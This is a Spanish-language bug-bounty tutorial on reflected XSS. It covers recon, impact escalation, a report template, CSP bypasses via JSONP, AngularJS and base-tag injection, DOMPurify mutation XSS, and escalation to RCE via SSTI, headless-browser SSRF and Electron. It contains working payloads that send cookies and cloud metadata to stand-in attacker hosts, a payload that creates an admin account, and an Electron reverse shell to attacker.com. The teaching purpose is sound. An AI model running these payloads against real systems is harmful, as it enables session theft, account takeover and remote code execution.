← Volver al Blog
XSS10 de julio de 2026 · 25 min lectura

XSS Reflected — Tomo III: Bug Bounty Real, CSP Bypass Quirúrgico y XSS que Se Convierte en RCE

XSS Reflected — Tomo III: Bug Bounty Real, CSP Bypass Quirúrgico y XSS que Se Convierte en RCE

"Un XSS confirmado sin escalada es un hallazgo. Un XSS con admin cookies es un incidente. Un XSS que ejecuta comandos en el servidor es una historia que alguien va a contar en una conferencia."


Por Qué Existe Este Tomo

Los Tomos 1 y 2 cubrieron la mecánica y la evasión. Pero conocer la técnica no es suficiente para vivir de bug bounty. El 80% de hunters que reportan XSS reflected reciben $150 y una palmadita. El otro 20% que entiende cómo demostrar impacto máximo, cómo encadenar vulnerabilidades, y cómo navegar las reglas del juego — esos son los que reciben $5,000-$30,000 por el mismo tipo de bug.

Este tomo cierra la serie de XSS Reflected con tres capítulos que importan de verdad en el mundo real:

Capítulo A: Bug bounty aplicado — cómo maximizar cada hallazgo
Capítulo B: CSP bypass — la última muralla y cómo demolerla
Capítulo C: XSS to RCE — cuando el navegador se convierte en shell


Índice

  1. La economía del XSS en bug bounty: por qué el mismo bug vale $150 o $15,000
  2. Metodología de recon para XSS reflected: donde empezar antes de tocar Burp
  3. Cómo demostrar impacto máximo: el arte de escalar un hallazgo
  4. Anatomía de un reporte que se acepta vs. uno que se descarta
  5. Plantilla de reporte profesional para XSS (lista para copiar)
  6. CSP: qué es, cómo leerla, y cómo identificar debilidades
  7. Bypass de CSP via JSONP — el método más documentado y más efectivo
  8. Bypass de CSP via AngularJS y script gadgets
  9. Bypass de CSP via base tag y relative path hijacking
  10. DOMPurify: el sanitizador "seguro" que también falla
  11. XSS to RCE: la cadena completa
  12. XSS en apps Electron — de alerta a shell
  13. Programas de bug bounty recomendados para XSS en 2026
  14. Laboratorio en el Cyber Range

CAPÍTULO A: BUG BOUNTY REAL

1. La Economía del XSS en Bug Bounty: Por Qué el Mismo Bug Vale $150 o $15,000

La severidad en bug bounty no se determina por el tipo de vulnerabilidad. Se determina por el impacto demostrado. Un XSS reflected en una página de error sin autenticación, que solo funciona si el usuario hace clic en un link específico, sin cookies de sesión en scope — eso es Low/Medium. $50-$300 si el programa es generoso.

El mismo XSS reflected, que puedes encadenar con CSRF para cambiar el email del admin, que expone cookies de sesión no HttpOnly, en una aplicación fintech con 50 millones de usuarios — eso es Critical. $10,000-$30,000.

La diferencia no está en el payload. Está en el contexto, la escalada y cómo lo presentas.

Los tres factores que multiplican el valor de un XSS:

Factor 1 — Autenticación del contexto

¿El XSS es pre-autenticación (cualquiera puede triggerearlo) o post-autenticación (solo usuarios logueados)? Pre-auth siempre vale más porque el vector de ataque no requiere que la víctima tenga cuenta.

Factor 2 — Acceso a datos sensibles

¿Las cookies de sesión están disponibles? ¿Hay tokens de API en localStorage? ¿Se puede acceder a PII en el DOM? Un XSS que puede robar credenciales o tokens de sesión sube de Medium a High automáticamente.

Factor 3 — Posibilidad de encadenamiento

¿Puedes usar el XSS para hacer acciones privilegiadas (CSRF)? ¿Para leer datos internos? ¿Para escalar a admin? Cada encadenamiento documentado sube la severidad un nivel.


2. Metodología de Recon para XSS Reflected: Donde Empezar Antes de Tocar Burp

El hunter que llega al programa y empieza a fuzzear parámetros aleatorios compite con escáneres automáticos. El hunter que hace recon inteligente primero llega a superficie que los escáneres no cubren.

Paso 1: Mapear endpoints con parámetros via waybackurls

# Obtener URLs históricas del objetivo
echo "objetivo.com" | waybackurls | tee urls_raw.txt

# Filtrar solo URLs con parámetros GET
grep "?" urls_raw.txt | sort -u > urls_con_params.txt

# Contar parámetros únicos
cat urls_con_params.txt | grep -oP '(?<=\?)[^#]+' | tr '&' '\n' | \
  cut -d'=' -f1 | sort | uniq -c | sort -rn | head 30

Los parámetros que aparecen en URLs históricas son los que los desarrolladores usaron en producción. Muchos ya no están en el sitemap actual pero siguen activos.

Paso 2: JavaScript source mining

# Descargar todos los JS del objetivo
cat urls_raw.txt | grep "\.js$" | sort -u | while read url; do
  curl -s "$url" >> all_js.txt
done

# Buscar parámetros y endpoints en el JS
grep -oP '(get|post|fetch|axios)\s*\(\s*["\x27][^"]+' all_js.txt
grep -oP 'params\[["'"'"'][^"'"'"']+["'"'"']\]' all_js.txt
grep -oP 'searchParams\.get\(["'"'"'][^"'"'"']+["'"'"']\)' all_js.txt

Los parámetros hardcodeados en el JavaScript del frontend son a menudo los más olvidados por los desarrolladores y los más ignorados por los escáneres.

Paso 3: Identificar puntos de reflexión en mensajes de error

Los mensajes de error son el vector más descuidado. Cuando una app dice "El valor 'X' no es válido", está reflejando tu input. Busca:

  • Páginas de 404 que muestran la URL
  • Formularios de búsqueda con "No hay resultados para: X"
  • Validadores que muestran "El campo 'X' es incorrecto"
  • Parámetros de redirect: ?next=, ?return=, ?url=, ?redirect=

Paso 4: Parametros ocultos con Arjun

# Descubrir parámetros GET/POST no documentados
arjun -u "https://objetivo.com/buscar" -m GET

# Con cookies de sesión (para endpoints autenticados)
arjun -u "https://objetivo.com/api/buscar" \
  --headers "Cookie: session=abc123" \
  -m GET,POST

Arjun fuzzes parámetros ocultos que no aparecen en el HTML pero que el backend procesa. Muchos bugs viven aquí.


3. Cómo Demostrar Impacto Máximo

El triager de bug bounty recibe 200 reportes por semana. Tu trabajo no es solo encontrar el bug — es hacer que sea imposible ignorarlo o downgrade-arlo.

Escalada Nivel 1: De PoC a Cookie Theft

No te detengas en alert(document.domain). Si las cookies no son HttpOnly, el siguiente paso es demostrar robo:

// PoC de robo de cookie — usa tu propio servidor de captura
<script>
var img = new Image();
img.src = 'https://tu-servidor-captura.com/xss?c=' + 
          encodeURIComponent(document.cookie) + 
          '&u=' + encodeURIComponent(window.location.href);
document.body.appendChild(img);
</script>

Captura el output en tu servidor y adjúntalo al reporte. Una screenshot de la cookie capturada vale más que diez alertas.

Escalada Nivel 2: De Cookie Theft a Account Takeover

Si robaste una cookie de sesión de un usuario de prueba que controlas, demuestra que puedes usarla:

  1. Captura la cookie via XSS
  2. Abre un navegador de incógnito diferente
  3. Importa la cookie manualmente (DevTools → Application → Cookies)
  4. Accede a la cuenta sin conocer la contraseña

Eso es ATO demostrado. Graba el proceso en video. Adjúntalo al reporte.

Escalada Nivel 3: De ATO a Acción Privilegiada

Si tienes XSS en el contexto de un admin:

// Crear usuario admin via XSS
fetch('/api/admin/users', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    username: 'tc_pwned',
    password: 'TribuCibernetica2026!',
    role: 'admin'
  })
}).then(r => r.json())
  .then(d => new Image().src = 'https://tu-srv.com/?r=' + btoa(JSON.stringify(d)));

Demostrar que puedes crear cuentas admin vía XSS es Critical en cualquier programa.


4. Anatomía de un Reporte que Se Acepta vs. Uno que Se Descarta

Los reportes descartados tienen esto en común:

  • Título genérico: "XSS found in search page"
  • Pasos ambiguos: "inject payload in search bar"
  • Sin contexto de impacto
  • Sin evidencia (screenshots, videos)
  • PoC que solo funciona en el navegador del hunter

Los reportes que se aceptan y pagan bien tienen:

  • Título con contexto: "Reflected XSS in /search?q= leads to session hijacking via cookie exfiltration (no HttpOnly flag)"
  • Pasos reproducibles paso a paso, con URL exacta, payload exacto, y resultado exacto
  • Impacto explicado en términos de negocio, no técnicos
  • Evidencia: screenshot de la ejecución, screenshot de la cookie capturada, video del ATO
  • CVSS score calculado manualmente con justificación

5. Plantilla de Reporte Profesional para XSS

Copia esta plantilla y personalízala para cada hallazgo:


Título: Reflected XSS en [endpoint] via parámetro [param] — permite exfiltración de cookies de sesión y account takeover

Severidad: High / Critical (CVSS 3.1: 8.8 / 9.3)

CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation


Resumen

El parámetro [param] en el endpoint [URL] refleja input del usuario directamente en la respuesta HTML sin sanitización. Un atacante puede construir una URL maliciosa que, cuando es visitada por un usuario autenticado, ejecuta JavaScript arbitrario en el contexto de la sesión de la víctima. Esto permite robo de cookies de sesión, account takeover y acciones no autorizadas en nombre de la víctima.


Impacto

  • Robo de cookies de sesión (si no tienen flag HttpOnly)
  • Account Takeover completo de cualquier usuario que visite el link malicioso
  • Exfiltración de datos sensibles visibles en el DOM de la sesión activa
  • Posibilidad de encadenamiento con CSRF para acciones privilegiadas sin interacción adicional de la víctima

Pasos para reproducir

  1. Autenticarse en la plataforma con cualquier cuenta de usuario
  2. Navegar a la siguiente URL (reemplazar ATTACKER_SERVER con servidor de captura):
https://objetivo.com/[endpoint]?[param]=<img src=x onerror="fetch('https://ATTACKER_SERVER/?c='+btoa(document.cookie))">
  1. Observar en el servidor del atacante la cookie de sesión capturada:
GET /?c=c2Vzc2lvbj1hYmMxMjM... HTTP/1.1
  1. Decodificar el valor Base64: session=abc123xyz...
  2. Abrir navegador de incógnito, importar la cookie, acceder a la cuenta sin contraseña

Evidencia

  • [Screenshot 1] — Payload ejecutado, alert con document.domain
  • [Screenshot 2] — Cookie capturada en servidor del atacante
  • [Screenshot 3] — Cuenta accedida en navegador separado con cookie robada
  • [Video] — Proceso completo de ATO en tiempo real

Remediación sugerida

  1. Aplicar output encoding contextual: htmlspecialchars($input, ENT_QUOTES, 'UTF-8') en PHP / html.escape() en Python
  2. Agregar flag HttpOnly a todas las cookies de sesión
  3. Implementar Content Security Policy estricta como defensa en profundidad
  4. Validar y sanitizar todos los parámetros de entrada en el backend, no solo en el frontend

Referencias

  • OWASP: CWE-79
  • PortSwigger: Reflected XSS
  • CVSS 3.1 Calculator: [score y vector string]

CAPÍTULO B: CSP BYPASS QUIRÚRGICO

6. CSP: Qué Es, Cómo Leerla, y Cómo Identificar Debilidades

Content Security Policy (CSP) es un header HTTP que le dice al navegador qué recursos puede cargar y ejecutar. Cuando está bien implementada, es la segunda línea de defensa más efectiva contra XSS. Cuando está mal configurada — que es la mayoría del tiempo — es una falsa sensación de seguridad.

Cómo leer una CSP:

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.ejemplo.com https://*.google.com;
  style-src 'self' 'unsafe-inline';
  img-src *;
  connect-src 'self' https://api.ejemplo.com

Cada directiva controla un tipo de recurso:

  • script-src — qué scripts puede ejecutar el navegador
  • default-src — fallback para todas las directivas no especificadas
  • connect-src — qué URLs puede contactar via fetch/XHR
  • img-src — desde dónde puede cargar imágenes

Señales de debilidad en una CSP:

SeñalPor qué es débil
'unsafe-inline' en script-srcPermite scripts inline — XSS directo sin bypass
'unsafe-eval' en script-srcPermite eval() — muchos bypasses aprovechan esto
*.dominio.com en script-srcWildcard — si cualquier subdominio tiene JSONP, hay bypass
data: en script-srcPermite scripts via URI de datos — bypass directo
Sin directiva default-srcRecursos no cubiertos se cargan sin restricción
Sin directiva base-uriVulnerable a base tag injection
https://cdn.jsdelivr.netCDNs populares tienen JSONP y Angular — gadgets conocidos

Herramienta rápida de evaluación:

Pega la CSP del objetivo en https://csp-evaluator.withgoogle.com/ — el evaluador te notifica si algún dominio en la whitelist tiene endpoints JSONP conocidos.

7. Bypass de CSP via JSONP — El Método Más Documentado y Más Efectivo

JSONP (JSON with Padding) es una técnica legacy donde una API devuelve JavaScript que llama a una función cuyo nombre viene de un parámetro callback. Era la solución de cross-origin antes de CORS. Hoy es un vector de bypass de CSP.

El mecanismo:

Si la CSP permite scripts de https://api.trusted.com, y ese dominio tiene un endpoint JSONP:

https://api.trusted.com/data?callback=alert(1)

Devuelve:

alert(1)({"data": "..."});

Entonces puedes cargar ese script y el navegador lo ejecuta porque viene de un dominio en la whitelist:

<script src="https://api.trusted.com/data?callback=alert(document.domain)//"></script>

El // al final comenta el paréntesis y los datos JSON que vienen después del callback.

Caso real — Reto Intigriti Febrero 2026:

En el reto de Intigriti de febrero 2026, la aplicación tenía una CSP con script-src 'self'. El endpoint /api/jsonp no validaba el parámetro callback, permitiendo inyección arbitraria de JavaScript. Cargar el script desde el mismo origen cumplía con la directiva script-src 'self', bypasseando completamente la CSP.

El payload final para exfiltrar cookies del moderador:

<script src="/api/jsonp?callback=fetch('//tu-servidor.com?c='+document.cookie);var x="></script>
Al reportar a moderador, el bot visitó el post con la cookie del flag. En menos de 10 segundos, el servidor del atacante recibió la petición con la cookie del moderador incluida.

Cómo encontrar endpoints JSONP en el objetivo:

# Buscar en el código JS del objetivo
grep -r "callback" all_js.txt | grep -i "jsonp\|callback\|cb="

# Buscar endpoints con parámetro callback via ffuf
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -u "https://objetivo.com/FUZZ?callback=test" \
  -mr "test(" -mc 200

# Revisar repositorio JSONBee para JSONP en dominios populares
# https://github.com/zigoo0/JSONBee

Dominios populares con JSONP documentados:

<!-- Google APIs -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)"></script>

<!-- YouTube -->
<script src="https://www.youtube.com/oembed?url=http://x&format=json&callback=alert(1)"></script>

<!-- Si cualquiera de estos está en la whitelist de CSP, hay bypass -->
Muchas aplicaciones implementan CSPs estrictas para bloquear XSS, pero si dominios confiables como Google, YouTube o GitHub están en la whitelist, estas restricciones frecuentemente pueden bypassearse usando endpoints JSONP.

8. Bypass de CSP via AngularJS y Script Gadgets

Cuando la CSP permite cargar scripts desde ajax.googleapis.com, es posible bypassear la política cargando una versión antigua de AngularJS y abusando de su sandbox de expresiones.

El payload clásico con AngularJS:

<!-- Si la CSP tiene: script-src 'self' ajax.googleapis.com -->
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js"></script>
<div ng-app ng-csp>
  {{constructor.constructor('alert(1)')()}}
</div>

AngularJS evalúa expresiones en templates {{ }}. Si puedes inyectar HTML con ng-app, la expresión se evalúa como JavaScript.

Variante con cdnjs (Cloudflare CDN):

<!-- Si la CSP permite cdnjs.cloudflare.com -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app>
  {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}}
</div>

Script gadgets — el concepto:

En bug bounty, el flujo para encontrar gadgets de CSP es: revisar el source code del cliente buscando dangerouslySetInnerHTML (React), v-html (Vue), o [innerHTML] (Angular), verificar si la variable es controlable por input del usuario, y luego enumerar la CSP buscando dominios con allow-list amplios como *.google.com, cdnjs.cloudflare.com o unpkg.com.

Un script gadget es una función legítima ya cargada en la página que un atacante puede invocar de forma maliciosa. No necesitas cargar código nuevo — usas el código que ya está ahí.


9. Bypass de CSP via base Tag y Relative Path Hijacking

Este bypass funciona cuando la aplicación carga scripts usando rutas relativas y la CSP no tiene directiva base-uri.

El escenario:

<!-- La página carga scripts con rutas relativas -->
<script src="/js/app.js" nonce="abc123"></script>

<!-- CSP tiene nonce pero no base-uri -->
Content-Security-Policy: script-src 'nonce-abc123'

El bypass:

Si puedes inyectar una etiqueta <base> antes de que se cargue el script:

<base href="https://tu-servidor.com/">

El navegador resuelve /js/app.js relativo a la base inyectada: https://tu-servidor.com/js/app.js. Tu servidor sirve el JS malicioso. El nonce en el tag original no ayuda porque el script que se carga es el tuyo.

Condiciones:

  • La app carga scripts con rutas relativas (no absolutas)
  • La CSP no tiene directiva base-uri 'self' o base-uri 'none'
  • Puedes inyectar HTML antes del primer tag <script> en el DOM

10. DOMPurify: El Sanitizador "Seguro" que También Falla

DOMPurify es la librería de sanitización HTML más usada en JavaScript. Está bien mantenida y es genuinamente robusta — pero no es perfecta.

Por qué DOMPurify es importante en tu metodología:

Cuando ves que una app usa DOMPurify, no abandones el XSS. Verifica la versión:

// En DevTools console del objetivo
DOMPurify.version
DOMPurify es sólido, pero ha tenido bugs. El problema de regex en template literals de 2025 permitió bypasses via modo SAFE_FOR_TEMPLATES usando combinaciones de <math> y <style>. Cuando testees apps que usan DOMPurify, siempre verifica la versión. Cualquier versión pre-2.x debería levantar banderas inmediatamente.

Técnica de bypass con mXSS (mutation XSS):

mXSS ocurre cuando el HTML que DOMPurify considera limpio es mutado por el parser del navegador después de ser insertado en el DOM, reintroduciendo XSS. El ejemplo clásico:

<!-- DOMPurify lo deja pasar como HTML "limpio" -->
<svg><p><style><g title="</style><img src=x onerror=alert(1)>">

<!-- El browser lo parsea diferente y ejecuta el onerror -->

Estos bypasses son específicos de versión y se reportan al equipo de DOMPurify. Revisa el changelog en GitHub para bypasses históricos — muchos programas de bug bounty usan versiones desactualizadas.


CAPÍTULO C: XSS TO RCE

11. XSS to RCE: La Cadena Completa

Un XSS que deriva en ejecución de código en el servidor es el escalón máximo de esta vulnerabilidad. No es común, pero cuando ocurre — en paneles de admin, en herramientas de render server-side, en aplicaciones con integración con el sistema operativo — el impacto es crítico absoluto.

¿Cuándo es posible XSS → RCE?

Hay tres escenarios principales:

Escenario 1: Panel de admin con funcionalidad de template o render

Algunos paneles de administración permiten editar templates HTML que luego el servidor renderiza. Si hay XSS en el template editor y el template se procesa server-side:

<!-- Template inyectado en el editor del admin via XSS -->
{{ 7*7 }}  <!-- Si el servidor usa un motor de templates, evalúa a 49 -->
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
<!-- Si el motor de templates es Jinja2, esto es SSTI → RCE -->

El XSS permite inyectar el payload SSTI. El servidor ejecuta el template y devuelve el resultado del comando.

Escenario 2: Herramientas de análisis con headless browser

Algunas aplicaciones usan Chromium headless para generar PDFs, screenshots, o previews. Si el XSS se dispara en el contexto del headless browser del servidor:

// El XSS se ejecuta en el servidor, no en el navegador del usuario
// El headless browser puede hacer fetch de recursos internos

fetch('http://169.254.169.254/latest/meta-data/') // AWS metadata
  .then(r => r.text())
  .then(d => fetch('https://attacker.com/?data=' + btoa(d)));

Esto convierte el XSS en SSRF, que puede escalar a acceso a credenciales de cloud, secretos internos, o configuraciones de infraestructura.

Escenario 3: Aplicaciones Electron (cubierto en la siguiente sección)


12. XSS en Apps Electron — De Alerta a Shell

Electron es el framework que usan Slack, VS Code, Discord, WhatsApp Desktop, Figma, y docenas más. Es básicamente un navegador Chromium embebido con acceso completo a Node.js. Eso significa que un XSS en una app Electron no es un popup — es potencialmente ejecución de código nativo en el sistema operativo de la víctima.

La arquitectura que lo hace posible:

Electron tiene dos procesos:

  • Main process: Tiene acceso completo a Node.js y al sistema operativo
  • Renderer process: Renderiza la UI (HTML/JS). Puede o no tener acceso a Node.js dependiendo de la configuración

La configuración más peligrosa es nodeIntegration: true en el renderer:

// main.js — configuración VULNERABLE
const win = new BrowserWindow({
  webPreferences: {
    nodeIntegration: true,     // ← PELIGROSO
    contextIsolation: false    // ← MÁS PELIGROSO AÚN
  }
});
Cuando nodeIntegration está habilitado, el JavaScript controlado por el atacante puede llamar APIs de Node como require('child_process').exec(), métodos del filesystem, y ejecutar procesos. En ese caso, un XSS se convierte en RCE inmediato.

Cómo verificar si nodeIntegration está activo:

// En DevTools de la app Electron (Ctrl+Shift+I)
typeof require === 'function'  // true = nodeIntegration activo
process.versions.node          // Muestra versión de Node si está habilitado

El payload de RCE cuando nodeIntegration está activo:

// XSS payload que ejecuta comandos del sistema
<img src=x onerror="
  const {exec} = require('child_process');
  exec('id', (err, stdout) => {
    fetch('https://attacker.com/?r=' + btoa(stdout));
  });
">

// Más impactante — reverse shell
<img src=x onerror="
  const {spawn} = require('child_process');
  const child = spawn('/bin/bash', ['-i']);
  const net = require('net');
  const sock = new net.Socket();
  sock.connect(4444, 'attacker.com', () => {
    child.stdin.pipe(sock);
    sock.pipe(child.stdout);
    sock.pipe(child.stderr);
  });
">

Cuando nodeIntegration está desactivado — abuso de preload y IPC:

Las apps modernas de Electron deshabilitan nodeIntegration pero usan scripts de preload que exponen APIs al renderer. Si esas APIs están mal diseñadas:

// preload.js VULNERABLE — expone función peligrosa
contextBridge.exposeInMainWorld('api', {
  execute: (cmd) => ipcRenderer.invoke('run-command', cmd)
});

// main.js VULNERABLE — ejecuta sin validación
ipcMain.handle('run-command', (event, cmd) => {
  return require('child_process').execSync(cmd).toString();
});

El XSS en el renderer puede llamar window.api.execute('id') y obtener ejecución de comandos aunque nodeIntegration esté desactivado.

Si los manejadores IPC realizan acciones privilegiadas sobre input no confiable — como escribir archivos, ejecutar comandos, o cargar módulos — un payload XSS puede fabricar mensajes IPC que resulten en RCE.

Caso real — VS Code CVE-2021-43908:

La cadena que afectó VS Code 1.63 demostró cómo un solo XSS impulsado por Markdown en un webview puede escalarse a RCE completo cuando CSP, postMessage y los manejadores de esquemas están mal configurados. El XSS inicial permitió exfiltrar el extensionId del webview objetivo, que luego se usó para construir URLs que cargaban HTML controlado por el atacante, abusando de la débil validación de rutas para cargar archivos privilegiados.

Herramienta para auditar apps Electron:

# Electronegativity — encuentra misconfigurations automáticamente
npm install -g @doyensec/electronegativity
electronegativity -i /Applications/NombreApp.app

# Extraer source code de app Electron
cd /Applications/NombreApp.app/Contents/Resources/
npx asar extract app.asar app_extracted/
ls app_extracted/  # Tienes el source code

Qué buscar en el source extraído:

# Buscar nodeIntegration habilitado
grep -r "nodeIntegration.*true" app_extracted/

# Buscar contextIsolation deshabilitado
grep -r "contextIsolation.*false" app_extracted/

# Buscar handlers IPC peligrosos
grep -r "ipcMain\|ipcRenderer" app_extracted/ | grep -i "exec\|spawn\|eval"

# Buscar shell.openExternal (puede ejecutar comandos via protocolos)
grep -r "openExternal" app_extracted/

13. Programas de Bug Bounty Recomendados para XSS en 2026

No todos los programas son iguales. Estos criterios determinan si un programa vale tu tiempo para XSS:

Criterios de selección:

  • Scope amplio (no solo www.objetivo.com — busca *.objetivo.com)
  • Sin exclusiones explícitas de XSS reflected
  • Payouts históricos de $500+ para XSS High
  • Tiempo de respuesta promedio menor a 7 días

Programas con buen historial para XSS en HackerOne/Intigriti:

Para fintech (tu especialidad, Marco): los programas de plataformas de pago frecuentemente tienen scope en subdominios que nadie revisa. El dashboard de merchants, los paneles de soporte, los portales de partners — todos son superficie que los hunters ignoran porque están detrás de registro. Regístrate como merchant o partner legítimo y testea esos endpoints autenticados. El XSS ahí vale 3x más que el mismo bug en la página pública.

Señales de que un programa vale la pena:

✓ Scope incluye *.dominio.com (no solo www)
✓ Tienen disclosed reports con pagos de XSS > $1,000
✓ El response time promedio en H1 es < 14 días
✓ El programa tiene > 6 meses de existencia
✗ Evita programas con "low/medium are out of scope" en XSS — descartan too much
✗ Evita programas que requieren "impact must be demonstrated on other users" sin dar cuentas de prueba

14. Laboratorio en el Cyber Range de TribuCibernética

Los labs de este Tomo son los más avanzados de la ruta CP01:

Lab XSS-R09: CSP bypass via JSONP endpoint — mismo escenario que el reto Intigriti Feb 2026
Lab XSS-R10: CSP bypass via AngularJS gadget en CDN whitelisted
Lab XSS-R11: base tag injection con relative path hijacking
Lab XSS-R12: Simulación de XSS to SSRF en aplicación con headless browser — acceso a metadata interno

Cada lab:

  • Instancia Docker aislada y efímera — tu entorno, limpio al terminar
  • Flag que confirma explotación exitosa
  • Writeup post-completar con explicación técnica de por qué funciona
  • Nivel de dificultad: Hard (estos no tienen hints por defecto)

→ Acceder al Cyber Range


Cierre de la Serie: XSS Reflected — Tomos I, II y III

Llegaste al final de la primera serie completa de TribuCibernetica. Esto es lo que construiste:

Tomo 1 — Entiendes la anatomía completa: contextos de inyección, reflexión HTTP, payloads por contexto, evasión básica, e impacto real más allá del alert(1).

Tomo 2 — Sabes bypassear WAFs reales con técnicas documentadas en 2025-2026, encontrar XSS en headers HTTP que la mayoría ignora, operar Blind XSS con infraestructura propia, y encadenar XSS+CSRF para impacto crítico.

Tomo 3 — Puedes navegar el ecosistema de bug bounty con metodología real, bypassear CSP con JSONP, AngularJS y base tag injection, y entender el camino de XSS a RCE en aplicaciones Electron y paneles server-side.

Lo que sigue: XSS Stored — 3 Tomos

El próximo capítulo de la serie cubre XSS Stored — el hermano persistente. Mismo tipo de inyección, pero el payload vive en la base de datos y se ejecuta cada vez que alguien visita la página. Eso lo hace wormable, masivo, y en algunos casos, el vector de ataques supply-chain más devastador que existe en aplicaciones web.

Tomo 4: Anatomía del XSS Stored — sinks, sources y el ciclo de vida del payload
Tomo 5: XSS Stored wormable — cómo un solo payload infecta a todos los usuarios
Tomo 6: XSS Stored en aplicaciones enterprise — Jira, Confluence, GitLab, y más


Glosario Rápido — Tomo 3

TérminoDefinición
CSPContent Security Policy — header que restringe qué recursos puede cargar el navegador
JSONPJSON with Padding — técnica legacy que devuelve JS ejecutable; vector de bypass de CSP
Script gadgetFunción legítima ya cargada en la página que puede invocarse de forma maliciosa
base-uriDirectiva CSP que restringe la etiqueta <base> — su ausencia permite hijacking de rutas
mXSSMutation XSS — XSS donde el sanitizador lo permite pero el parser lo muta en payload válido
ElectronFramework de apps desktop basado en Chromium + Node.js
nodeIntegrationConfiguración de Electron que da acceso a Node.js al renderer process
contextIsolationConfiguración de Electron que aísla el contexto de preload del renderer
IPCInter-Process Communication — canal de mensajes entre main y renderer en Electron
ATOAccount Takeover — tomar control completo de una cuenta
SSTIServer-Side Template Injection — cuando el XSS inyecta en un motor de templates del servidor

Referencias Técnicas

  • Intigriti Blog — CSP Bypasses: Advanced Exploitation Guide (Dic 2025)
  • Intigriti Challenge 0226 — Stored XSS & CSP Bypass via JSONP (Feb 2026)
  • Intigriti Challenge 0326 — DOM Clobbering and CSP Bypass Chaining (Mar 2026)
  • Deepstrike — Penetration Testing of Electron-based Applications (Oct 2025)
  • Doyensec — Awesome Electron.js Hacking (repositorio activo)
  • HackTricks — XSS to RCE in Electron Desktop Apps
  • CVE-2021-43908 — VS Code XSS to RCE via webview misconfiguration
  • PortSwigger Research — Script Gadgets
  • CSP Evaluator — csp-evaluator.withgoogle.com

¿Encontraste un bypass de CSP nuevo o completaste el chain XSS→RCE en algún programa? Compártelo en el Discord de TribuCibernetica. La comunidad crece cuando compartimos lo que funciona de verdad.

→ Leer Tomo 1: Anatomía del XSS Reflected
→ Leer Tomo 2: WAF Bypass y Blind XSS
→ Comenzar Tomo 4: XSS Stored — Anatomía del Payload Persistente
→ Practicar Labs en el Cyber Range
→ Unirse al Discord de TribuCibernética


© 2026 TribuCibernetica. Contenido publicado bajo fines educativos y de investigación en seguridad. El uso de estas técnicas fuera de entornos autorizados o programas de bug bounty con scope definido es ilegal. TribuCibernética no se hace responsable del uso indebido de la información aquí presentada.


[!TIP] ¿Quieres practicar esta vulnerabilidad? Pon a prueba tus conocimientos en un entorno controlado. Únete a otros hackers y explora el Cyber Range de TribuCibernética.